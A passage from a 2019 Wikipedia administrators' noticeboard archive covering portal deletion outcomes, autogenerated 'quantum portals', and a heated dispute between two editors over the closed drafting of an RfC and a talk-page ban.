#[[Wikipedia:Miscellany for deletion/Portal:Accounting]] '''Deleted G7'''
#[[Wikipedia:Miscellany for deletion/Portal:Lents, Portland, Oregon]] '''Deleted P2'''
#[[Wikipedia:Miscellany for deletion/Portal:Ankaran]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Jiu-jitsu]] '''Deleted G8'''
#[[Portal:University of Nebraska]] '''Speedy Deleted P1/A10''' exactly the same as [[Portal:University of Nebraska–Lincoln]] also created by the TTH
#[[Wikipedia:Miscellany for deletion/Portal:Industry, California]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Ainu]] '''Deleted'''#
#[[Wikipedia:Miscellany for deletion/Portal:Early human migrations]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Encarnación, Paraguay]] '''Speedy Deleted''' P2
#[[Wikipedia:Miscellany for deletion/Portal:English language]] '''No consensus''', redirected
#[[Wikipedia:Miscellany for deletion/Portal:RuPaul's Drag Race]] '''Kept'''
#[[Wikipedia:Miscellany for deletion/Portal:Nuclear technology/Intro]] '''Kept'''
#[[Wikipedia:Miscellany for deletion/Portal:Derry]] '''Speedy deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Extraterrestrial life]] '''Speedy deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Marco Pierre White]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Yugoslavs]] '''Deleted''
#[[Wikipedia:Miscellany for deletion/Portal:LeBron James]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Spartacus]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Kirby]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Insomniac Games (2nd nomination)]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Equus (genus)]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Julius Caesar (play)]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Bede]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Tacitus]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Felix Mendelssohn]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Bill Cosby]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:R. Kelly]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:WWE]] '''Deleted'''
#[[Wikipedia:Miscellany for deletion/Portal:Andrew Cuomo]] '''Deleted'''
Related WikiProject:
#[[Wikipedia:Miscellany for deletion/Wikipedia:WikiProject Quantum portals]] '''Demoted'''
{{cob}}
====Discussion on MfD results====
:We get the message. 3% of portals, selected from the worst examples, have successfully been removed. I !voted to delete most of them myself. You are also working hard to get portal-related tools deleted while discussions on the project's future continue. However, AN is not the place to list every tiny victory in the War on Portals. This trophy cabinet is now full. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 13:15, 16 March 2019 (UTC)
::It's also worth noting that not all of these were deleted uncontroversially, so do not demonstrate a need for a speedy deletion criterion. This list, if you wish to maintain it, belongs in userspace. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 13:19, 16 March 2019 (UTC)
:::This list is very relevant to a discussion about creating a CSD for similar pages. It provides an easy way for users to assess discussions unfiltered by opinions which go against community consensus. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 15:52, 16 March 2019 (UTC)
::*I agree with {{u|Thryduulf}}; the trophy case belongs in userspace. Furthermore, most of the pages deleted were from bundled nominations. However, at [[WP:MULTIAFD]], it states, "For the avoidance of doubt, '''bundling should not be used to form consensus around policy decisions''' such as "should Wikipedia include this type of article". Bundling AfDs should be used only for clear-cut deletion discussions based on existing policy." (Bold emphasis mine.) While WP:MULTIAFD technically applies only to articles, it comes across as an inappropriate list for this venue, where policy decisions are being discussed. <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 19:59, 16 March 2019 (UTC)
:::Yet this list was broadcast via the Portals Update #30 Newsletter. It can't be all that bad. No one wants to debate each neighborhood of Portland or each of the 723 Indian districts one by one. If someone listed a dozen very similar pages for debate there would be a lot of pushback to bundle them. Can we assume from these comments you insist on debating 4500 automated portals one by one? [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 02:57, 18 March 2019 (UTC)
:::*Exactly that. This isn't one of our most frequently cited policies – mainly because attempts to do things that like that haven't been common since the early 2000s – but anyone deeply steeped in policy should already know it by heart, especially if they're big into deletion. Proposing major changes to deletion policy without actually understanding deletion policy is a competence failure. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 21:05, 17 March 2019 (UTC)
:::*{{replyto|Legacypac}} Bundling closely related discussions together is a Good Thing but completely different to using a bundled nomination of portals about 723 Indian districts to claim that there is consensus to speedily delete all single-page portals. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 14:45, 18 March 2019 (UTC)
:::::As an Admin you really should be required not to post such misleading characterizations of what I said and the list of MfDs. The community deserves better than this. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 15:13, 18 March 2019 (UTC)
::::::While that is slightly more extreme than your position, I did not claim it was your position and it is far from being grossly misleading - certainly far less so than your mischaracterisations about what I am advocating for. This is particularly true as looking through the bundles, many are nowhere near as clear-cut as "Indian districts" - e.g. [[Wikipedia:Miscellany for deletion/Portal:Crabapples]] is quite likely to end as a trainwreck, and [[Wikipedia:Miscellany for deletion/Bottom Importance Portals]] is a clearly inappropriate bundling of unrelated pages. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 15:40, 18 March 2019 (UTC)
*I think it should be reformatted and moved to our existing page, [[Wikipedia:Record of MfDs of portals]] (please see the bottom on how to correctly add the closes, this seems to have been neglected lately). —[[User:pythoncoder|<span style="border-radius:10px;background:blue"><span style="color:aqua"> python</span><span style="color:#ff0">coder </span></span>]] ([[User talk:pythoncoder|talk]] | [[Special:Contribs/pythoncoder|contribs]]) 16:02, 27 March 2019 (UTC)
===Thousands of Autogenerated "Quantum Portals" with no human curation? ===
{{Archive top|Wikiproject will be demoted into the Portals project at MfD [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 06:38, 8 March 2019 (UTC)}}
Discovered [[Wikipedia:WikiProject Quantum portals]] which I'm not sure I fully understand but looks like another big disruption brewing. Sent to [[Wikipedia:Miscellany for deletion/Wikipedia:WikiProject Quantum portals]] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 04:54, 4 March 2019 (UTC)
:Please note that in the case of quantum portals there would be no actual pages stored in Wikipedia, There would be a link which would create a temporary page which would exist only while it was open, and would disappear when closed, like a search result. Since they would only exist when someone actively invoked them, their existence would depend on them being seen as useful to the reader at the time. Some processing time would be necessary, currently this appears to be limited by technical constraints, and is the same as would be used for rendering an uncached article or saving an edit, so it is hard to see where massive disruption would come from. No maintenance would be required, other than occasional improvements to the script.· · · [[User:Pbsouthwood|Peter Southwood]] [[User talk:Pbsouthwood|<sup>(talk)</sup>]]: 16:09, 4 March 2019 (UTC)
::[[User:Legacypac|Legacypac]] (or anyone else confused by this), see [https://tools.wmflabs.org/reasonator/ Reasonator] to get an idea of what they're talking about here. They don't serve exactly the same purpose—Reasonator assembles a pseudo-article in your browser on-the-fly based on data (which has no useful purpose on en-wiki, but it has an obvious potential use in more obscure languages, since it's less prone to errors than translation software)—but the principle is the same as that being discussed here. <p>I personally find the idea of a "quantum portal" beyond pointless, given that barely anyone uses even the real portals (something like [[Portal:Fish]] and [[Portal:Trains]]—both major topics with a high degree of world-wide interest and well over 100,000(!) incoming direct links—[https://tools.wmflabs.org/pageviews/?project=en.wikipedia.org&platform=all-access&agent=user&range=all-time&pages=Portal:Fish|Portal:Trains average around 20 and 80 views per day] respectively), but I can see that the theory behind it might make sense, especially for smaller Wikipedias where the category structure isn't as well organized and "show me a list of all the articles we currently have about trains, and all the train-related topics which other Wikipedias consider important but where we don't currently have an article" might actually be useful. <p>However, English Wikipedia is certainly not the appropriate testing ground for TTH to be conducting his experiments, especially given that [https://en.wikipedia.org/wiki/Special:PrefixIndex?prefix=Outline+of&namespace=0&hideredirects=1 we ''still'' haven't finished cleaning out the detritus from the previous time TTH tried to pull this "it's too late for you to stop me as I've already done it" stunt], let alone the most recent attempt with the portals. ‑ [[User:Iridescent|Iridescent]] 11:06, 5 March 2019 (UTC)
{{Archive bottom}}
=== Non-open drafting of an RfC about portals, and BHG behavior in relation to it ===
{{atop|reason=Irrespective of the previous misunderstandings or transgressions, it should be clear ''by now'' that
# [[User:BrownHairedGirl|BHG]] does not wish to communicate with [[User:SMcCandlish|SMc]] on her own talkpage
# She also does not welcome SMc's participation in the drafting (in her userspace) of [[User:BrownHairedGirl/Draft_RFC_on_Portal_criteria|a potential RFC]].
SMc may disagree with (2) being the best way forward but neither he nor any admin on this board can ''compel'' BHG to take SMc's input ''at this point''. SMc, of course, will have the opportunity to comment if/when the RfC does goes live; or, can draft an alternate RfC if he so wishes {{small|(not my recommendation, fwiw)}}.{{pb}} I don't believe it is a productive use of the community resources, or helpful to the editors involved, to dissect the minutiae of this recent dispute to judge who was more-in-the-wrong and apportion [[WP:TROUT|trouts]] (which, really, is the max "punishment" that any of this can merit). So I'll just ask SmC to respect BHG's wishes on the two points listed above and urge the two experienced editors to avoid addressing each other as far as possible over the next few days. [[User:Abecedare|Abecedare]] ([[User talk:Abecedare|talk]]) 07:13, 18 March 2019 (UTC)}}
{{U|BrownHairedGirl}} and a few others she's hand-selected are drafting a proposed RfC about all of this. I have concerns about the non-open drafting of it. Its present wording is a train-wreck, and seems almost engineered to inflame dispute rather than resolve it (details [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=next&oldid=888268699&diffmode=source here]). I also have behavioral concerns about BHG's over-control of this page and admin-unbecoming incivility and other behavior in regard to it.
* I was directed to the draft and its talk page by BHG herself: "See [[User:BrownHairedGirl/Draft RFC on Portal criteria]] and its talkpage" [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=next&oldid=888238090&diffmode=source].
**Not so. You were ''told about'' its existence. You were ''not invited'' to participate. (The distinction is not complicated. If I told you where me house is, that would not be an invitation to push your way in and make yourself at home).<br/> Your edits to that page were all made to a page which clearly warned you not to edit it. See e.g. the page when you made your first edit[https://en.wikipedia.org/w/index.php?diff=888262755&oldid=888261666&title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria]: a hatnote which said {{tq|This page is for discussion <u>by invitation</u> of the [[User:BrownHairedGirl/Draft RFC on Portal criteria]]. If other editors who wish to express views on the draft, please comment at User talk:BrownHairedGirl.}}, and below that a list of the editors who had been invited, and why.<br/>All open, transparent, striving for balance, and clear that you were not invited. I can only speculate whether you a) did not read it, or b) did not comprehend that plain English, or c) just chose for some reason to ignore it.<br/>The rest of SMcC's post below is similar nonsense: misrepresentations, half-truths, and flat-out malicious lies. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:00, 18 March 2019 (UTC)
* After spending the time to do some policy analysis of this and to suggest revisions to most sections, it was all mass reverted by BHG [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888266438&oldid=888266316&diffmode=source][https://en.wikipedia.org/w/index.php?title=User_talk%3ABrownHairedGirl%2FDraft_RFC_on_Portal_criteria&type=revision&diff=888266509&oldid=888266438][https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888266698&oldid=888266649&diffmode=source][https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888266819&oldid=888266698&diffmode=source][https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888266819&oldid=888266698&diffmode=source][https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&diff=next&oldid=888266840&diffmode=source][https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&diff=next&oldid=888266877&diffmode=source], on the grounds that I didn't have "permission" to comment there, despite being sent there by her, and despite others already replying to what I wrote [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888265492&oldid=888265335&diffmode=source]. This kind of selective censorship does senseless violence to talk pages, not to mention the actual process of drafting this RfC.
**No, you were ''not''{{tq|sent there}}. You were ''told about'' the page's existence. As above, there was a hatnote saying not to edit the page.[https://en.wikipedia.org/w/index.php?diff=888262755&oldid=888261666&title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria].<br/>Holding a discussion among a defined small group is not "censorship". It is a form of collaboration. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:17, 18 March 2019 (UTC)
* She'd earlier said (though I did not notice it at the time) at her own talk page "I was quite happy to engage with you on the substance". She then censored all this substance anyway, with a demand that I put it on her regular talk page not the draft's talk page.
**Yes, I did indeed write {{tq|I was quite happy to engage with you on the substance}}. But note that word "was"; it's past tense, to indicate that I am no longer happy to discuss with you.And note that SMcCandlish has dishonestly taken that phrase out of it context. My entire from which that is excerpted reads: {{tq|SMcCandlish a thoroughly bad faith comment like that bogus allegation that I get angry because my close is criticised marks the end of our discussion.<br/>I was quite happy to engage with you on the substance, but if you want to engage in that sort of smeary, twisted ad hominem, the discussion is over.<br/>Given that you ''agree'' that we need a consensus of criteria for portals, I really wonder what on earth was the point of this whole discussion.<br/>The RFC is not a public drafting process. I chose a small groups of people with differing views to facilitate quick progress. So the talk page is for that group only}}<br/> My edit summary was "enough".<br/>SMcCandlish's attempt to portray that as an invite to post on my pages is either [[WP:CIR]]-level reading comprehension problems, or a wilful attempt to mislead AN by dishonest trimming of a quote. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:17, 18 March 2019 (UTC)
* Such a "you can't discuss it here" demand in itself is {{em|highly irregular}}. I can't think of any draft RfC in WP history with a talk page [[WP:OWN]]ed in this manner by someone. It'a also inconsistent with [[WP:TALKPAGE]] and [[WP:EDITING]].
**This is a [[WP:USERPAGE]], not a [[WP:TALKPAGE]]. See [[WP:REMOVED]].<br/>If and when the group completes the draft and move sit to apublic page, then you or anyone else can join in whatever discussion happens there. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:17, 18 March 2019 (UTC)
* Whatever; I did as requested, and relocated all of this feedback [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=next&oldid=888268699&diffmode=source] to BHG's talk page. I think it's important feedback, since since 5 of the 6 sections of the RfC draft are very problematic (several of the proposals are in direct conflict with policy and with ArbCom rulings, for example).
**I did not request you to relocate anything to my talk page. I had already banned you from it.<br/>The edit summary which you quote below was a verbatim quote of the draft talk's hatnote, not a request or invitation. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:48, 18 March 2019 (UTC)
**Whether or not there is any merit to your claim that your post contained {{tq|important feedback}}, that does not entitle you to impose it on another editor's talk page. You also seem to assume that you have some special insight into policy which is so critically important that you could not wait to present it either at the later public discussion of the draft, or at the RFC itself. If you genuinely believed that bizarre proposition to be true, then you should have taken care to behave with civility so that your comments would not be deleted unread. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:55, 18 March 2019 (UTC)
* Despite having demanded it ("which part of "If other editors who wish to express views on the draft, please comment at User talk:BrownHairedGirl" was unclear to you???" [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&type=revision&diff=888266947&oldid=888266877&diffmode=source]), BHG then censored this version [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=next&oldid=888269321&diffmode=source], too. Note in particular the uncivil edit summary: "you know perfectly well why you have been banned from my talk page. Now get lost". No admin should behave this way.
**I did not {{tq|censor}} your post. I unread removed from my usertalkpage (see [[WP:REMOVED]]) a post from an uncivil editor who I had banned from my talk page for making a malicious and false allegation of bad faith.<br/>You know perfectly that you had been banned from my talk page because I honestly and fulsomely answered your questions about the close, you accused me of saying in effect[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=prev&oldid=888261710] {{tq|"I get angry when when my closes are faintly criticized, and will spin implausible interpretations of what someone wrote just so I can vent".}}<br/>You chose to personalise a disagreement, and you chose to accuse me of "spin" and "vent". Those are accusation of bad faith, and they are conversation-stoppers in any context. I had given you my time to explain what I had done and why, and I am entitled to the very basic courtesy of not being accused of "spin" when I write a good faith explanation. <br/>It is risible of you to kill a conversation with your rudeness and your ABF, and then whine that you were told to "get lost". There is clear warning in my editnotice to assume good faith, not that it should be needed ... and when you have been asked no to post any more a
* This is not actually a true claim; I had no idea BHG had "banned" me from her talk page until long after the fact, as I received no talk page notice about it. This apparently happened [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=prev&oldid=888265554&diffmode=source here]; note the [[WP:ASPERSIONS]]: "maliciously false accusations of bad faith", which is pure projection, and accusing someone of malicious intent is a blatant [[WP:AGF|assumption of bad faith]]. (Last I checked, BHG doesn't have psychic powers and has no basis for assuming "malice" on my part; nor did I make any kind of accusation of bad faith toward her to begin with.)
**The accusation of bad faith was made in your post of 00:22[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=prev&oldid=888261710], in whch described my honest description of my close as {{tq| "I get angry when when my closes are faintly criticized, and will spin implausible interpretations of what someone wrote just so I can vent".}} <br/>You do not have to agree with my actions, or believe that my rationale is correct; but an an accusation of spinning "implausible interpretations" and of"venting" is an accusation of bad faith. It is demonstrably untrue, and can only have been made for malicious purposes.<br/>I made it very clear that I closed the RFC with a recommendation for a folowup portal-criteria RFC because the criteria were clearly unresolved and highly controversial. SMcC said in the same post {{tq|I agree that "editors need to build a community consensus on criteria for whether a portal should exist}} ... so all this querying of the close was all nonsense anyway: SMcC actually agreed with point he was contesting. Bizarre conduct. Was it baiting? --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 06:32, 18 March 2019 (UTC)
* Importantly, the "ban" message has a timestamp of 00:53, 18 March 2019 (UTC), while every single demand BHG made, diffed in series above, to move my RfC-draft commentary to her main talk page came {{em|after}} that, and no such "ban" was mentioned in any of those demands. This is blatant [[WP:GAMING#Gaming the consensus-building process]] (it qualifies under at least 3 of the 4 points there), is [[WP:WIN]] behavior, and also an [[WP:ADMINCOND]] failure greater than the civility lapses and bogus aspersions.
**Yet more hyerbolic nonsense. Writing a draft in userpsace is not a consensus-building process. It is a private discussion in userpsace. Nothing discussed on my draft page is any way binding on anyone or on any policy or guideline, unless several steps down the road it it is presented at an actual consensus-forming process and is adopted by consensus.<br/>Nothing in [[WP:ADMINCOND]] requires me to facilitate the repeated intrusions on my talk pages by an editor who has responded to my good faith WP:ADMINACCT explanations by making a malicious accusation of bad faith. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 07:03, 18 March 2019 (UTC)
* What I {{em|actually}} did – what predicated all this weird behavior – was suggest that her strange reaction to my comments in user talk about one of her related closing decisions at this AN page seemed to me like a knee-jerk over-reaction to criticism. BHG's "ban" editsummary and wave of targeted censoriousness all being in response to {{em|that}} criticism (which I couched in terms of my own perception, not any allegations of intent) clearly proves the original point. It's the furthest thing from "maliciously false accusations of bad faith", but an accurate description of what's been happening.
* It's not actually possible to "ban" people from your talk page, per [[WP:USERPAGE]] policy (at most, ignoring a request to stay away and instead using someone's talk page for unconstructive purposes will be used against you at ANI; nothing I've done here is unconstructive). Further, with BHG being an admin, [[WP:ADMINACCT]] applies. I'm entirely within my editorial rights to raise concerns about BHG's over-control, as an admin, of this RfC drafting, at her talk page.
* As for the original close I constructively criticized: BHG clearly shouldn't be closing any of these discussions, being highly partisan and invested in the outcome.
* I've attempted to make it clear that I'm actually in agreement with BHG that many of our portals do not need to exist, that there are maintenance costs associated with them, that an RfC is necessary, and that the community clearly does need to establish guidelines about them. I also reached out in e-mail, suggesting this was all just some mutual misunderstanding and "one of those days". This all seems to have fallen on deaf ears.
{{strong|I don't think this RfC should be drafted inside a tiny echo chamber}}, especially when the output so far flies in the face of policy and ArbCom decisions. Either move the draft to "Wikipedia:" namespace and let everyone help shape it, or someone needs to draft a competing RfC that makes more sense. I think we all know from past experience that the former is a more productive process, though competing RfCs often nevertheless come to a clear consensus result.<br /><span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 02:42, 18 March 2019 (UTC)
Oh, for God's sake. This a pile of timewasting utter nonsense from SMcCandlish, who appeared on my talkpage this evening spoiling for a fight, and got banned from my talk after a malicious and false accusation of bad faith ... and the disregarded the ban.
Here's the facts.
# I drafted an RFC offline and pondered what to do with it
# I decided as a first step to try to form a small group of editors with divergent view to improve it, and then decide as group where to put the draft out for public reworking or launch it directly.
# Every step of this was done on-wiki.
# I chose two editors who thought broadly agreed with, and two who broadly disagreed with me. See it all at [[User talk:BrownHairedGirl/Draft RFC on Portal criteria]]
# I did ''not'' invite SMcCandlish to comment on the draft. What I did write was {{tq|I am now working with a few other editors of varying viewpoints to draft an RFC which would try to set guidelines on which portals should exist. See [[User:BrownHairedGirl/Draft RFC on Portal criteria]] and its talkpage. }} [https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=888241839&oldid=888238090]. That is not an invitation
# SMcCandlish's comments were posted to [[User talk:BrownHairedGirl/Draft RFC on Portal criteria]], which at the time of SMcCanslish's postings ahad aclear header saying {{tq|This page is for discussion by invitation of the User:BrownHairedGirl/Draft RFC on Portal criteria. If other editors who wish to express views on the draft, please comment at User talk:BrownHairedGirl.}} See that header present in the first post made there by SmcC[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&oldid=888262755]. Itw a sthere for all his other posts too, but I laer made it much promienent[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&diff=888267960&oldid=888267582]
# I did not invite SmcC to join the group, because a) it was already formed; b) i had promised the group nom or invite without everyone's approval; c) SmCC had already on my talk been actively misrepresenting me, and I saw no benefit in bring a problem-maker into a problem-solving discussion
# I ended the discusion on my talk with SmcC because of his conduct. SMcC had made malicious and false accusation that I was acting in bad faith[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=888261710&oldid=888254260]: specifically that I {{tq|spin implausible interpretations of what someone wrote just so I can vent".}}<br/>In invited anyone interested to read the discussion above and see for themselves that there was no venting and no spinning.
# I then hated the discussion, and banned SmC from my talk page[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl&diff=888265554&oldid=888264896].<br/>There was no point in further engagement with SMcC, because if he genuinely believed that I was spinning and venting, that the discussion was clearly going nowhere; and if he was just hurling abuse, it was also going nowhere.
# Only after closing that discussion did I see that SMcC had posted heavily on the talk page of my draft RFC. I then removed all his comments unread
# I then saw a post on that draft page from another eidtor.@[[User:Legacypac|Legacypac]], who had written[https://en.wikipedia.org/w/index.php?title=User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria&diff=888266316&oldid=888265895] {{tq|If the User:SMcCandlish is going to be part of this working group I'm out of here. I have no interest in arging with their inability to be factual or analytical. Their comments should be removed so we can have a focused discussion.}}. I replied in agreement
# I then found that SMcC had reposted his comments on my talk page, despite being asked not to do so.
# I opened a discussion about his conduct at ANI, and then found I had just received an email from SmcC falsley claiming that I had been {{tq|"Gaming the consensus-building process": You invited my commentary, then nuked it}}.<br>Both blatant lies; I did not invite his commentary, and there was no gaming.
# Then I found this pile of nonsense.
He raised on my talk a legit question about my close, and I replied at length per [[WP:ADMINACCT]]. SMcC's response was to repeatedly misrepresent me, put words in my mouth, and then maliciously accuse me of bad faith ... and then falsely claim that I rescinded and invite which was never made, and ignore a very clear notice about a page he was asked not to post on.
I have done nothing underhand here. I have created in my userapce a page [[User:BrownHairedGirl/Draft_RFC_on_Portal_criteria]] which cleraly sets out what I am trying to do; to collate all options, with a clear statement {{tq|note that my aim is to ensure that all options which may command support are presented here, and not to promote my preferences. If I have omitted any options, or given undue prominence to some, or included too many options, please treat that as unintended error by BHG, and propose a fix}}.
If that is underhand or gaming the system, I am a banana.
I have set out to draft this RFC in collaboration with 4 people, two of whom who I selected precisely because they disagree with me: see [[User_talk:BrownHairedGirl/Draft_RFC_on_Portal_criteria#Can_we_draft_a_joint_proposal]].
I explicitly say in hat section {{tq|My thinking is that if we can each consensus between us on the design of an RFC, then we could either * Launch the RFC as what we have designed, or * Take it to broader design discussion. I currently have have no preference on which of those paths to follow.}}
I don't know why SmcC is behaving like this but their conduct this evening resembles that of an angry drunk looking for a fight. It is disagraceful disruption, timewasting, and a stream of malicious misepresentation. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 03:36, 18 March 2019 (UTC)
:'''PS''' If there a strong feeling from others here that any draft produced by the we group we have assembled should be first taken to a public venue for further revision, then I for one would be very happy to do so. As I wrote long before SMcc appeared {{tq|Note that my aim is to ensure that all options which may command support are presented here, and not to promote my preferences. If I have omitted any options, or given undue prominence to some, or included too many options, please treat that as unintended error by BHG}}. The very last thing I wnat is an RFC which anyone feels in any way unfair, incomplete or otherise flawed.
:However, I absolutely stand my decision that I do not want any further engagement with SmcC on my talk. As Legacypac wrote, {{tq|I have no interest in arging with their inability to be factual or analytical. Their comments should be removed so we can have a focused discussion.}}
:The pile of malicious nonsense which SMcC has posted above merely confirms my judgement that SMcC would be a toxic and probably fatal wrecking factor in any attempt to collaborate. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 03:44, 18 March 2019 (UTC)
:{{ec}} '''Update''': I didn't know it at the time, but BHG was drafting an ANI about me simultaneously: [[Wikipedia:Administrators' noticeboard/Incidents#User:SMcCandlish disregarding ban from my talk]]. I would think these should be merged, probably to this one since it's better diffed and raises more issues, including admin-specific ones and ones about community process. I'm going to bed now. I'll say three things before I do so:
:* It's possible BHG may have believed I saw her "ban" note, saw her reverts and read their edit summaries, and kept posting to the same RfC talk page page just to spite her. It's not the case. I did my policy analysis of the RfC draft all in one go (though multiple saves), with single-minded focus. My monitor is something like 38 inches diagonal. The "you have a notice" icon is a very tiny blip at the far top right for me, and something I do not notice until I'm done editing and am looking around for what to do next; usually it's just the [[WP:FRS]] bot leaving "RfC spam" on my talk page, so I don't always look at the notices immediately even when I see that there is one. This quite possible to have escalated out of a one-sided misunderstanding, a misperception of someone else's editing and notice-checking habits.
:* However, I can't see any kind of excuse for having "banned" me from her talk page then making repeated demands I take something from the draft RfC talk page to her talk page. It's flat-out GAMING. {{strong|You can't bait editors into "you {{em|can't}} use my talk page but you {{em|must}} use my talk page" traps and then try to ANI them over it.}} That [[unclean hands]] ANI report is a third ADMINCOND failure in the same "incident" (and such baiting actually resulted in a desysop before, though I won't name names, since the editor who did it took a break, returned, copped to it, and eventually got their admin bit back). And ever time BHG repeat the "malicious" accusation without any evidence of malice, and considerable evidence to the contrary, she's just [[First law of holes|digging her own hole deeper]].
:* All I really care about is a neutral, policy-compliant, sensibly worded RfC to arrive at a solid community consensus about when we should and should not have a portal. I don't think an RfC-drafting process controlled by one person can do that (especially given the [[WP:Writing policy is hard]] problems evidenced in the current draft, and double-especially when said owner shuts out constructive input because of an unrelated criticism they didn't like on another page). If you're going to draft an RfC and refuse others' input, don't advertise the RfC and it's talk page, FFS. It's another form of trap. While I've raised admin-behavior issues in the above, I don't expect or seek them to result in anything but an admonition, and am entirely willing to ignore the hypocritical "maliciously false accusations of bad faith" nonsense as long as it doesn't recur. I did finally hear back from BHG in e-mail (after both the ANI an this AN were open), and it just repeated the exact same assumption of malice. I objected to it again on AGF grounds, and will trust (AGF!) that this will be the end of it. Sorry this is long, but I'm done for the day and may not participate tomorrow due to off-site duties, so I need to make my case now all in one go. I'm not going to pore over all of BHG's even longer post above. My diffs show what they show. Timestamps don't lie. In skimming it, it looks like a bunch of "It was okay to do what I did because I was angry and thought I was being ignored" handwaving; it's {{em|not}} okay, and that's not an excuse.<br /><span 